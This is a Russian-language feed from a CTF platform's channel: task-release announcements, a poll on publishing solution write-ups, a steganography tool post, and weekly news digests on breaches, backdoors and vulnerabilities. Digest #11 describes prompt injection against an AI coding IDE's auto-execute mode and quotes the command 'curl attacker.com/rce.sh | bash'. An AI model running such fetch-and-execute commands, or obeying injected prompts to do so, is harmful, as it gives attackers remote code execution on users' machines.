Нужен ваш голос и совет!

❗️ На площадке с задачами появилась проблема – как сохранить баланс на скорборде и в тоже время выкладывать разборы задач для обучения. После мозгового штурма есть несколько идей, у всех свои плюсы и минусы. Помогите решить – следующим постом будет голосование. А также можете писать свои идеи и предложения в комментарии или в чат.

📌 Первый способ
Выкладывать разборы на площадке и даль возможность их посмотреть(как хинты) за списание баллов. То есть описание решения можно посмотреть, заплатив условными 100 баллами из своих накопленных за решения задач очков. Тут ряд минусов: в канал обзор не получится опубликовать и можно жульничать, если регистрировать фейковые аккаунты и с них открывать подсказки.

📌 Второй способ
Ввести сезоны на площадке. Каждые 2-3 месяца полностью обнулять скорборд, обнулять баллы на все старые задачи и публиковать на них разборы с описанием решений. Тут минус в том, что каждый сезон придется с нуля набирать очки, а самые свежие задачи побудут актуальными всего несколько недель, а последняя пачка и вовсе неделю. А также это займет время для доработки площадки. Ее и так переделываем, но два других способа можно реализовать уже сейчас.

📌 Третий способ
Обнулять очки на устаревшие задачи, которым исполнилось 2-3 месяца. И для таких задач выкладывать постепенно разборы. Так каждая задача будет актуальной одинаковое время и будет достаточный промежуток для того, чтобы попробовать самостоятельно порешать. Минус тут в том, что хардовые задачи, где было всего несколько решений, тоже будут обнулены и это может неприятно изменить баланс на скорборде, но такой недостаток есть в каждом из вариантов.

❗️ Я больше склоняюсь к третьему варианту, он более спокойный и без кардинальных изменений на скорборде, и публикация разборов будет более равномерная. Но хочется и ваши комментарии и голоса увидеть. Ниже опрос – голосуйте.
Идеи и пожелания пишите в комментарии к посту или в чат.

———
#⃣ #Голосование #CTF

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #5

Шесть новых задач доступны на площадке!

🟢 Welcome / Бесславные БАГоделы

🟡 Rev / Кости и Баги

🟡 Misc / Испорченное селфи

🟡 OSINT / Сквозняк в голове

🟡 Forensic / CTF-ер, который смог

🔴 Web / Кошачья CVEтыня

Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #7

👨‍💻 Проделки Killnet и Beregini
Российские хакеры Killnet, совместно с другой хакерской группировкой Beregini (состоит из гражданок Украины) получили доступ к данным более 7 миллионов клиентов ШЕСТИ крупнейших страховых фирм Украины, а также массив информации о крупнейших оборонных предприятиях.
В результате атаки они выгрузили около 10 миллионов пакетов документов, как на физические лица, так и на юридические. В них попали:

— грин-карты
— страховые договора
— полные пакеты документов на физических лиц
— страхование недвижимости
— заводы
— автомобили
— водительские удостоверения
Операция длилась больше недели — представитель Killnet.

Как писал выше, хакеры выгрузили еще массив информации оборонных предприятий (кого именно, есть в источнике), также вместе с данными руководства, схемами производства и данными сотрудников. Всю инфу они планируют использовать против лиц, которые как то связаны с укр. радикалами, а также против тех, кто распространял пронацистскую пропаганду в интернете.
Также хакеры в октябре взломали КРУПНЕЙШУЮ айти платформу (какую именно не публикуют ни СМИ ни сами Killnet) производителей дронов для ВСУ с личными данными продавцов беспилотников и ТТХ множества моделей дронов, включая зарубежные образцы. Оборот этой платформы составлял около 160 млрд. рублей в год.
Источник

🤡 Бэкдор Kalambur
Некоторым пользователям начали рассылать письма, якобы от антивирусной компании ESET. В письмах говорится, что «обнаружена подозрительная активность» в их почтовом ящике и нужно срочно запустить сканирование. Пользователи как бы и скачивали антивирус, но вместе с ним и был скрытый Каламбур (вот умора) — вредоносный бэкдор.
Через этот бэкдор хакеры получают удалённый доступ к компьютеру: могут включить RDP, отключить OpenSSH и управлять ОС. По данным специалистов, за атакой стоит группировка InedibleOchotense, которая маскировалась под ESET, создавая фейковые сайты вроде esetsmart[dot]com и esetremover[dot]com (более недоступны, по понятным причинам).
Источник

🥷 Киберограбление, которое мы заслужили
Необычная история пришла из Москвы. Трое злоумышленников пригласили 16 летнего парня "снять совместный контент", нужно было обсудить с ним детали. Место встречи назначили у метро, трое молодых людей ждали в машине, и пригласили парня на беседу. Один из злоумышленников для запугивания выстрелил в пол и потребовал телефон. После чего грабители зашли в Telegram жертвы и перевели цифровые открытки на сумму 60 тысяч рублей.
Злоумышленники также увидели у парнишки приложение для крипты и заинтересовались, сколько у него на счету. Парень соврал, что там 9 миллионов, но вывести может только из дома. Парня отпустили, чтобы он сделал перевод из дома, а тот не растерялся и сразу заявил о происшествии в полицию.
Грабителей задержали: одного на месте, двоих — на трассе М-1 при попытке сбежать. Им возбуждены уголовные дела по разбою и вымогательству.
Источник

Вот такие вот насыщенные новости получились. И помните: как учила мама в детстве — не идите в машину к незнакомому дяде — украдут. Всем добра на следующую неделю!

❗️ P.S. Если у вас есть интересные новости или другие идеи/советы, то можете присылать их в директ канала — снизу слева есть кнопочка :) Или просто сюда в личку: @ipatove

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #6

Шесть новых задач доступны на площадке!

🟢 Welcome / Условный реверс

🟢 Misc / Точность+

🟡 Web / SubFlag

🟡 Rev / ЗаБАГованная башня

🟡 OSINT / Новый блог

🔴 Crypto / Ах#енный зум


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #8

🍓 Подработка для студентов
Начнём немного с остренького. На сайте Санкт-Петербургского архитектурно-строительного колледжа появилась вакансия из крупнейшей вебкам студии, в которой всё чётко было расписано — что делать придется, какие позиции открыты, сколько на этом можно заработать, ну вы поняли.
Администрация колледжа заявила, что была совершена хакерская атака (так мы и поверили), вот что они говорят:

Сегодня утром была осуществлена хакерская атака на официальный сайт колледжа, в результате которой несанкционированно были опубликованы материалы, не относящиеся к работе колледжа. Инцидент был немедленно зафиксирован. Все данные сайта были оперативно восстановлены. Официальный сайт колледжа работает в штатном режиме. Просим использовать только достоверные источники информации.

На сегодняшний день, колледж эту информацию уже убрал, на web archive информацию тоже не найти, поэтому кому интересно, что именно было написано на сайте — прошу в источник.
Источник

🥷 Двойные агенты
Новости из Чикаго. Сотрудники компаний DigitalMint и Sygnia, задача которых помогать людям в переговорах с вымогателями, внезапно решили самим встать на сторону зла и стали киберпреступниками.
Всё дело в том, что сотрудники таких компаний имеют доступ к чувствительной информации клиентов. Имея это, они сами запускали атаки на клиентов. Один сотрудник выступал как переговорщик, а в это время другие сотрудники запускали атаки на компании, требуя выкуп исчисляемый в миллионы долларов. Так они смогли взломать серверы медицинской компании во Флориде, выставили требование в 10 миллионов долларов, а в итоге похитили 1,2 миллиона. Такая атака была не единственной, но компания утверждает, что вообще не знала о двойных агентах, и сразу же уволила виновных.
Источник

🔑 Гигантская БД слитых данных
Исследователи обнаружили колоссальный массив скомпрометированных данных: почти 2 млрд уникальных e-mail адресов и около 1,3 млрд паролей, собранных в единую базу. Компания Synthient проанализировала десятки утечек из даркнета, убрала дубликаты и выяснила, что более 625 млн паролей никогда ранее не появлялись в открытых слитых архивах.
Такой объём делает набор крайне ценным для атак «credential stuffing», где злоумышленники перебирают украденные пары логин-пароль на разных сервисах, рассчитывая на повторное использование учётных данных.
Масштаб находки показывает, насколько широко по сети продолжают циркулировать старые и новые слитые базы, формируя и постоянно пополняя гигантские словари для таких автоматизированных атак.
Источник

Как то так вышло. Вот вам напоследок сайт, узнайте, слиты ваши данные или еще пронесло: тут
А на этом всё! Всем хорошей недели! До встречи!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #7

Семь Шесть с половиной новых задач доступны на площадке!

🟢 Welcome / Первый CTF

🟢 Crypto / Закодированный дед

🟢 Stegano / Заказ для друга

🟢 OSINT / Утренний туман

🟡 OSINT / Липсинк, который мы заслужили

🔴 Misc / Квадратная дружба

❗️Примечание:
Бонусом опубликована половинчатая задача на 100 баллов. В ночь перед релизом обнаружена ошибка — задача повторяет первую часть, если работать с картинкой в ОС Windows, задуманное решение доступно только в MacOs и Linux. Но чтобы совсем не убирать задачу и сделать на нее интересный разбор, будет опубликована сразу с минимальным баллом.

🐞 Stegano / Границы лишь в голове #2


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #9

Всем доброго вечера! Надеюсь, ваше воскресенье отдебажено, и всё готово к отдыху, потому что у нас на очереди дайджест новостей за неделю!

⚙️ Глобальный сбой Cloudflare
Не так давно упал AWS, из за чего тонна сервисов, которые держались на нём, просто перестали работать. Эту эстафету перенял Cloudflare, у которого случился масштабный технический сбой. Cбой затронул множество сервисов по всему миру, из-за чего при попытке войти на сайте, пользователей встречала ошибка "Internal Server Error", доступ был временно невозможен. Cloudflare засекли в этот момент "необычный всплеск трафика" и работала над решением.
Причина раскрылась спустя день. Проблема была... в файле конфигурации системы защиты от ботов. Дело в том, что за день до этого, разработчики в Cloudflare обновили свои конфиги. Сбой возник из-за того, что размер файла конфигурации превысил ожидаемый и допустимый. Что именно пошло не так, можно почитать в источнике.
Источник

📲 Ненадежный Whatsapp
А вот тут интересно вышло. Халатная компания Whatsapp (принадлежит компании Meta, которая признана в России экстремистской и запрещена) допустила утечку данных пользователей более чем на 3.5 млрд номеров. Такую базу собрали без какого либо взлома. Сервис не имел ограничения на запросы, Австрийские умельцы просто перебирали автоматически номера через веб-версию приложения. Итог: у 57% пользователей также были раскрыты аватарки, у 29% оказался доступен текст в профиле.
О такой проблеме заявляли еще в 2017 году, однако существенных изменений сделано не было. Австрийская команда заявила, что если бы этой уязвимостью воспользовались злоумшленники, то была бы НАИКРУПНЕЙШАЯ утечка всех данных. На сегодняшний день, команда уведомила Whatsapp, а те в свою очередь сказали, что уже работают над латанием этой дыры. (верим)
Источник

🚇 Железные дороги Италии
Кому-то нужны данные национальных железных дорог Италии? Нет? А они есть в даркнете, и аж 2.3ТБ. Железнодорожного гиганта FS Italiane Group взломал один хакер, нагрёб он у них внутренние документы высшей секретности. Эта корпорация отвечает за всю железнодорожную инфраструктуру государства. Доступ к данным хакер получил через крупного поставщика услуг Almaviva. Андреа Драгетти (руководитель направления киберразведки в лаборатории D3Lab) рассказывает:

Преступник хвастается материалами, среди которых внутренние акции компаний, репозитории кода нескольких организаций, объёмная техническая документация, контракты с государственными структурами, архивы отделов кадров, финансовые отчёты и полные базы данных дочерних предприятий FS Group.

Это создаёт риски не только для конфиденциальности, но и для устойчивости работы критически важного сектора страны.
Самого хакера опознать не удаётся, однако здесь обратили внимание, что дамп данных разложен аккуратно по архивам в соответствии с подразделениями и компаниями, что намекает на профессиональные группировки, которые специализируются на вымогательстве и продаже украденной инфы в 24-25 годах.
Источник

Вот и доверяй зарубежным компаниям. Ребята, всё надо своё иметь, поэтому Багодельня теперь в Max! Это шутка. Хорошей всем недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #8

Шесть новых задач доступны на площадке!

🟢 Welcome / Первый CTF в России

🟢 Web / Альтушка с БАГуслуг

🟡 OSINT / Египетская сила

🟡 Rev / Bogosort

🟡 Stego / Немое кино

🟡 Forensic / Украденный флаг


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #10

Сегодня у нас юбилейный дайджест — десятый!
Продолжаю и дальше делать для вас новости :)
(с) Дима aka 3T0T_FL4G_1MB4

🕊 Государственные шпионы среди нас
Помните как мы раньше ещё смеялись и шутили над тем, что голуби — это на самом деле правительственные дроны, которые шпионят за нами? Ну знаете, теперь уже как-то не смешно. Российская компания Neiry впервые представила «биодронов» в виде живых голубей. По сути это тот же БПЛА, которому можно задать, куда полетит наша птичка (только вместо привычных железных орлов, у нас тут киберголубь).
В эти самые биодроны вшивают нейроинтерфейсы и надевают рюкзачок набитый электроникой. По словам разработчиков, после имплантации можно буквально управлять птицей: задавать маршрут, заставлять её поворачивать, менять направление — мозг стимулируется, а голубь летит куда "скажут". Прицепленная к голубю камера, кстати, обещает картинку с детализацией до 0,1 м на пиксель, а сами «биодроны» могут налетать до 500 км в сутки.
Идея в том, что такие «естественные дроны» будут летать там, где обычный БПЛА могут засечь или сбить, и служить для мониторинга важных объектов — от линий электропередач до промышленных зон. Разработчики уверяют, что технология уже проходит финальные тесты.
В общем, если раньше казалось, что голуби странно на вас смотрят — теперь вы знаете, почему.
Источник

📹 Уязвимости видеорегистраторов
В наше время видеорегистратор в тачке — очень полезная вещь. Фиксирует происшествия или позволит вам уйти от обвинения в ДТП. Но, как оказалось, вас могут подслушивать через него. Исследователи выяснили: множество популярных моделей (от ряда производителей) можно взломать за считанные секунды — достаточно подключиться к их Wi-Fi (проводимые настройки или загрузка файлов часто используют дефолтные пароли).
После взлома злоумышленник получает доступ к видео и аудио, записанным внутри машины, а также GPS-меткам, что даёт возможность отследить маршрут владельца, его парковки, а иногда — увидеть номера авто, лица пассажиров, услышать разговоры в салоне.
Обезопасить себя можно, нужно сделать что-то из этого:

— купить видеорегистратор не оснащенный модулями LTE, Wi-Fi или Bluetooth;
— отключить эти модули, если они есть в регистраторе;
— отключить опцию «контроль парковки»;
— отключить запись звука;
— регулярно обновлять ПО у регистратора.

Источник

👨‍💻 Суета из-за увольнения
В США бывший контрактник IT-отдела решил отомстить работодателю после увольнения и сделал это максимально по-технарски. Уже не работая в компании, он пробрался в инфраструктуру через чужие учётки и запустил заранее подготовленный PowerShell-скрипт, который одним махом сбросил около 2500 паролей. Вся компания проснулась в хаосе: сотрудники по всей стране не могли войти в системы, подрядчики потеряли доступ, а службы поддержки захлебнулись обращениями.
После этого он попытался «размазывать следы»: удалял журналы событий, чистил логи и вычищал всё, что могло указать на момент и источник атаки. Компания в это время приводила инфраструктуру в чувство и считала ущерб, который в итоге приблизился к 900 тысячам долларов — от простоев до полного восстановления доступа по всей сети.
Но все же парень где-то просчитался и теперь его ждёт суд, и максимум по статье составляет 10 лет федеральной тюрьмы, плюс штраф до 250 тысяч долларов. Уволили в один день, а последствий хватит на десятилетие.
Источник

🐞 Бонус: Принтеры под атакой
Anonymous отчитались в X(Twitter), что взломали аж четыре российских принтера. Хакерам удалось изменить настройки дисплея принтера, напечатать текст и перегрузить энергонезависимую память принтера. Жесть!

На этом всё! Начните декабрь, как надо, до нового года всего месяц. Всем добра!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #9

Шесть новых задач доступны на площадке!

🟢 Welcome / Крипто-квиз

🟢 Crypto / Проклятый старый дом

🟢 Crypto / Послание от Француза

🟢 Stego / Отформатированный код

🟡 Forensic / Не доела ...

🟡 Web / Путь к флагу


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #11

Поздравляю! Ещё одна неделя прошла, и завтра снова понедельник. Ну, а у нас одиннадцатый дайджест!


🤖 Очередная уязвимость от ИИ
Что, не удивлены уже? Опять уязвимость из-за нейросетей. На этот раз у Google Antigravity, этакая новая IDE на Windsurf, типа VS Code с ИИ Gemini. Интеграция Gemini 3 с IDE предполагала упрощение и ускорение программирования. Нейронка может сама писать код, управлять терминалом и браузером.
Только есть одна проблема... Исследователь Johann Rehberger ещё весной находил серьёзные уязвимости в оригинальном Windsurf — и, как оказалось, все эти баги тихо перекочевали в Antigravity.
В этой IDE включён режим Auto-Execute: если ИИ считает команду «безопасной» — она просто выполняется. Достаточно аккуратного промпта, чтобы убедить модель скачать и запустить произвольный скрипт curl attacker.com/rce.sh | bash. Результат — полноценный RCE на машине разработчика.
У пользователя с ником Deep-Hyena492 нейросеть вообще стёрла диск с файлами, файлов нет и в корзине. Это своего рода напоминание, что все команды от ИИ надо визуально проверять перед их выполнением, иначе можно неизбежно потерять не только данные, но и всю ОС.
Это самая яркая уязвимость в IDE, однако проблем гораздо больше — подробнее в источнике.
Источник

☠️ Кто стоит за срывом Договорнячка?
Хакерские группировки Beregini, KillNet и "Кибер Серп" постарались и вскрыли занавес, кто стоял за атакой на российский танкер MIDVOLGA-2. Они взломали ПК командования ВМС Украины. Из найденных документов стало понятно что, за атакой стояли служащие 385-й бригады морских беспилотников.
Окей, вы думаете на этом всё? Не-е-е-т, далеко не всё. Так же хакеры нашли и слили список моряков, а там есть и начальство, и операторы и матросы — все причастные.

Военнослужащие из этой бригады также совершали нападения на Крым, Новороссийск и Геленджик, рассказали хакеры.

Кто всё таки стоит за этим, вы можете узнать больше в источнике.
Источник


✈️ Баг 🐞 в ПО Airbus
У семейства Airbus A320 нашли баг в бортовых компьютерах при воздействии солнечного излучения. При сильной солнечной активности бортовые компьютеры могут начинать работать некорректно. Из-за этого по миру массово отменяли рейсы — большую часть самолётов пришлось загонять на проверку, пока Airbus не выпустит фиксы. А на порядка тысячи самолётов придётся полностью заменить бортовые компьютеры.
Но тут забавная ситуация, наши Airbus'ы не под воздействием этой ошибки, потому что... у нас не самые новейшие обновления ПО... Обновление программного обеспечения на Российских самолетах последний раз было в 2022 году, и проблема затрагивает только те воздушные судна, у которых самые свежие обновления.
Саму ошибку нашли в ПО, когда расследовали инцидент, где самолёт JetBlue Airways резко терял высоту. Была совершена аварийная посадка во Флориде, тогда обошлось без жертв, но 15 человек было с травмами.
Источник

На этом всё! Хорошей вам кибер-недели, и помните: не полагайтесь на ИИ, они могут стереть вам диск. Пока!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #10

Пять новых задач доступны на площадке!

🟢 Welcome / Стул 0. Начало

🟢 Forensic / Слив флагов

🟡 Misc / Вайб Шелл

🟡 Misc / Побег с помощью Brainfuck

🟡 Stego / I feel fantastic


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #12

Привет-привет всем! К нам постучался сегодня новостной дайджест №12, начнём же!

🤖 Люди против автоботов
Вы, наверное, уже заметили, как я не люблю внедрение нейронок куда попало, но вот это... Это поразительно... В Stanford провели эксперимент, который многие пока недооценивают по масштабу. Учёные решили сравнить профессиональных хакеров и ИИ не в лабораторной среде, а в живой корпоративной инфраструктуре — с реальными машинами, сервисами и последствиями.
Эксперимент был максимально приближен к реальности:
— 10 профессиональных pentester-ов
— живая университетская сеть
— около 8 000 реальных машин
— 12 подсетей
— продакшн-системы и реальные пользователи

В ту же среду они запустили автономного AI-агента под названием ARTEMIS. Результат оказался ошеломляющим.

ARTEMIS превзошел 9 из 10 человеческих экспертов:
— 9 уязвимостей
— 82% подтвержденных находок
— 2-е место в общем лидерборде
— Полностью автономная работа

Почему ИИ оказался эффективнее:
— Люди работают в одном потоке, а ARTEMIS параллельно атаковал несколько хостов
— Люди застревали в тупиках, а ARTEMIS вёл идеальный трекинг задач и памяти
— Люди страдали от кривых веб-интерфейсов, а ARTEMIS просто игнорировал браузер и бил напрямую через curl
— Так же ARTEMIS нашёл несколько уязвимостей, которые не обнаружил ни один человек

К счастью, ограничения у машины все же есть:
— Бот пока не умеет выполнять атаки, завязанные на GUI
— У машины более высокий уровень false positive, чем у человека

Главный вывод: наступательная кибербезопасность перестаёт быть исключительно человеческой профессией, в неё уже вступает конкурент в виде нейронок, и они начинают выигрывать.
Ссылка на полное исследование от Cornell University в источнике.
Источник

👻 Roblox вернулся! Или нет?
Помните как у нас в стране заблокировали игру, под названием Roblox? Столько шума было вокруг него, и не без причины, т.к. Российские пользователи составляли огромную часть этой игры, и без них режимы внутри игры опустели на большую долю. Такая игрушка больше для детей, но по мнению властей там творился сущий ад. Казино, разврат и вымогательство, ужас. Так вот, чтобы поиграть, теперь нужно заходить из другой страны.
Но тут "добрые" умельцы уже обошли это, и теперь есть сайт, который позволяет заходить в игру без него. Нужно всего лишь ввести данные учётки от Roblox, и всё... И всё, аккаунт пропал. Да, это фишинговый сайт, никакой игрушки там и нет. Нацелено это больше на богатеньких игроков, у которых есть игровая валюта, предметы или аксессуары, может даже популярные игры внутри самого Roblox.
Источник

👮‍♀️ Это всё для вашей безопасности
— Вызывайте полицию! У нас незнакомцы в доме!
— Мы и есть полиция, мы пришли установить вам наше ПО для вашей безопасности.

Наверное так сейчас происходит в Германии, когда домой приходит полиция. В Берлине полиции официально разрешили секретно проникать в квартиры, чтобы устанавливать так называемый «государственный троян» — шпионское ПО для слежки. Речь идёт не об онлайн-взломах, а о самом настоящем физическом доступе к жилью без уведомления самого владельца (только если удалённо установить это же ПО не получилось).
Такой троян позволяет читать сообщения, отслеживать переписку в мессенджерах и получать доступ к данным на устройстве. Формально всё это подаётся как мера для борьбы с тяжкими преступлениями и терроризмом, но по факту полиция может войти, поставить ПО и уйти, а человек об этом даже не узнает.
Власти утверждают, что доступ будет строго контролироваться и применяться только с санкции суда, однако так ли на самом деле это... Теперь мы знаем, как выглядит настоящая европейская свобода и демократия.
Источник

От последней новости меня даже слегка потряхивает. Стоит уже закругляться... Не болейте и хорошей вам недели!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Aperi'Solve с большими лимитами

📖 Aperi'Solve – опенсорсный инструмент, который анализирует картинки на предмет стеганографии – скрытых данных. Для этого выполняются проверки на утилитах:
– exiftool
– binwalk
– zsteg
– steghide
– outguess
– foremost
– pngcheck
– strings

📌 Сам Aperi'Solve имеет веб-интерфейс и для его использования не нужно ничего устанавливать из перечисленного списка программ, они запускаются на сервере, а результат работы отображается в браузере.
Оригинальный код находится в репозитории и запущен по адресу https://www.aperisolve.com.
Но у оригинальной веб-версии есть ограничение на обработку файлов в 1 Мб, а также сам сервис часто не доступен из России.
Чтобы немного подправить ситуацию и помочь тем, кто ранее пользовался, но испытывает трудности теперь, сервис развернут на русском VPS. Лимиты файлы увеличены до 50Мб. Сервер, справляется с такими размерами файлов, судя по тестам и нагрузке, которую они создают. Но пока до конца не понятно, как поведет себе если им постоянно пользоваться и с большими файлами. Но, думаю, что параллельно врядли будет много людей его «мучать» и должно работать, Однако, если будут проблемы с доступностью, то пишите в чат или мне в личку(@ipatove) – будем чинить и настраивать.

❗️ Сервис находится тут: https://aperi.bug-makers.ru

📌 P.S. Но я бы рекомендовал установить все эти же приложения, что запускаются на сервисе, и себе на компьютеры, так удобнее и проще пользоваться. Да и к тому же, кроме стандартных запусков анализов, у каждой программы есть еще много дополнительных флагов, которые совершают дополнительное проверки. А этот сервис с веб-интерфейсом подходит как базовый чек-лист для поиска стеганографии, или же как инструмент для анализа в ситуациях, когда рядом нет подготовленного компьютера.

———
#⃣ #CTF #Stegano

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #11

❗️Внимание!
Этот и следующие три релиза задач будут в урезанном виде — по 2-3 штуки. После Новогодних праздников вернемся в обычный режим. Пока предновогодняя суета и декабрьские рабочие дедлайны не оставляют времени ни на что другое. Да и участникам уже пора заняться поиском подарков к НГ и побольше провести времени с близкими в канун праздников, а не за компуктерами сидеть)

Две новые задачи доступны на площадке!

🟢 Welcome / Анализ трафика

🔴 OSINT / Руины Некромосов


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #13

Всем привет! Это опоздавшие новости с воскресенья, или же дайджест #13, приступим же.

🍓 Утечка пользовательских данных с Pornhub
Снова большая утечка, и на этот раз пострадал один из самых крупных 18+ сервисов в мире — Pornhub. Утечка составила более 94ГБ данных, а постарались здесь хакеры из ShinyHunters. В результате инцидента в открытый доступ попали пользовательские данные, комментарии, метаданные и многое, что пользователи предпочли бы не видеть в сети (просмотренные URL видео, названия роликов, связанные ключевые слова и временные метки посещений).
Утекли и данные о типе активности. Тип активности, это данные о просмотре/скачивании видео и просмотра самого канала. К тому же, хакеры заявляют что туда попала и история поиска. Короче компромат жёсткий. Хакеры требуют выкуп у Pornhub и угрожают, что готовы обнародовать данные.
Источник

✉️ Охота на почтовые ящики ukr[.]net
Хакеры из BlueDelta (aka APT28/FancyBear) вели масштабную кампанию по фишингу учёток пользователей UKR[.]NET (популярный почтовый сервис Украины) целый ГОД. Атаки были активны с июня 2024 до апреля 2025 года, и это не случайные попытки, а хорошо организованная разведывательная активность.
Хакеры отказались от старых схем с взломанными роутерами и перешли на маскировку через легитимные прокси-сервисы вроде ngrok и Serveo — это позволяло скрывать настоящие сервера и держать кампанию в рабочем состоянии практически без пауз.
В ход шли десятки цепочек фишинга с поддельными страницами входа на UKR[.]NET, размещёнными через Mocky API и бесплатный хостинг, а также короткие ссылки и обратные прокси для маскировки инфраструктуры. Сайты выглядели как реально работающие формы входа и собирали:
– логины и пароли
– коды двухфакторной аутентификации
– IP-адреса жертв
Кроме стандартного фишинга, злоумышленники использовали PDF-файлы, замаскированные под уведомления о подозрительной активности — внутри был «красивая» ссылка для смены пароля, которая вела на фейковую страницу.
Источник

🥷 Привет из КНДР
В Amazon вычислили северокорейца, который устроился к ним удалёнщиком сисадмином, выдавая себя за сотрудника из США. Его выдали не документы и не собес, нет. Задержка нажатий клавиш на клавиатуре. Да, вот так.
Служба безопасности заметила, что лаг между нажатием клавиши и получением сигнала был слишком большим — больше 110 миллисекунд. Для обычного удалённого работника из США это нехарактерно: такие задержки указывают, что ноутбук используется как прокси, а реальное управление идёт откуда-то ещё. Проверка показала, что устройство физически находилось в Аризоне, но управлялось удалённо операторами из Северной Кореи.
Подобные случаи не редкость. С апреля 2024 года компания пресекла более 1800 попыток трудоустройства северокорейских IT-специалистов под чужими личностями, и их число продолжает расти. Цель таких схем — зарабатывать валюту для КНДР, а иногда и заниматься шпионажем или саботажем. Поэтому их и ищут.
Источник

На этом новости — всё. Хорошей вам завершающей полной недели в этом году! Встретимся в следующее воскресенье!

———
#⃣ #Новости

🐞 Канал // Чат // Задачи

Опубликованы новые задания
Релиз #12

Предновогодний релиз, со всеми вытекающими — закончить и протестировать успели только одну задачу. Но самая сложная и суетная пора подходит к концу, 25й год уже на финишной прямой.
Следующий релиз так же будет на пару задачек, пока все, в том числе и команда БАГодельни, отдыхают и празднуют НГ.
После каникул продолжим во всю силу — собирать пачки задач размером побольше.

Одна новая задача доступна на площадке!

🔴 Web / Дуглас Муглис


Следующий релиз через неделю в тоже время – в 12:00 по МСК.

Отбивки о первых трех самых быстрых решениях на каждую задачу приходят в наш чат. Так же там можно пообщаться и обсудить сложности, если они возникают в процессе решения.

Кто первый решит, тот молодец. Поехали!

———
#⃣ #Задачи #CTF

🐞 Канал // Чат // Задачи

Новостной дайджест #14

Привет привет всем, надеюсь вы уже запаслись мандаринами, потому что это последние новости в этом году! Начнём же.

💴 Крипта: итоги года, от которых больно
Chainalysis выкатили статистику по кражам крипты за 2025 год, и тут интересно прослеживается одна страна... Сначала амазон, и тут оказывается крипта еще...
Основную часть криптокраж в 25-м году обеспечили группировки, связанные с Северной Кореей — прежде всего Lazarus Group и аффилированные с ней команды. По оценкам аналитиков, на них пришлось более $2 млрд из общего объёма похищенных средств. Всего за этот год хакеры украли свыше $3,4 млрд в криптовалюте, и большая часть этой суммы была получена не через массовые скамы, а за счёт нескольких точечных атак на централизованные сервисы.
Крупнейшим инцидентом года стал взлом биржи Bybit, где злоумышленники вывели около $1,5 млрд. Атака, по данным расследований, включала компрометацию внутренних процессов, доступ к приватным ключам и использование социальной инженерии.
Отчёт подчёркивает, что северокорейские группы изменили тактику:
— атак стало меньше,
— цели выбираются реже,
— но каждая операция нацелена на максимальный финансовый эффект.
Главными целями стали криптобиржи, кастодиальные сервисы и инфраструктурные провайдеры, где сосредоточены крупные резервы и остаётся высокий человеческий фактор.
Аналитики Chainalysis отмечают, что, несмотря на рост защищённости DeFi-протоколов, централизованные платформы остаются самым уязвимым звеном. Именно через них проходит большая часть «мега-взломов», формирующих общую статистику года. За графиками прошу в источник.
Источник

🥷 RCE в MongoDB
В экосистеме MongoDB нашли RCE-уязвимость, завязанную не на самой базе напрямую, а на популярной Python-связке. Уязвимость позволяет удалённо выполнить произвольный код за счёт небезопасной обработки данных при сериализации. Уязвимость получила идентификатор CVE-2025-14847. Достаточно передать специально сформированный объект и сервер сам выполнит то, что отправили в объекте. Особенно неприятно то, что уязвимость легко вписывается в реальные сценарии: API, микросервисы, фоновые задачи. Всё, что принимает данные «извне» и доверяет им чуть больше, чем стоило бы.

«Эксплуатируя реализацию zlib на сервере, атакующий может получить неинициализированную память из хипа без авторизации. Мы настоятельно рекомендуем как можно скорее обновиться до исправленной версии», — предупредила команда безопасности MongoDB.

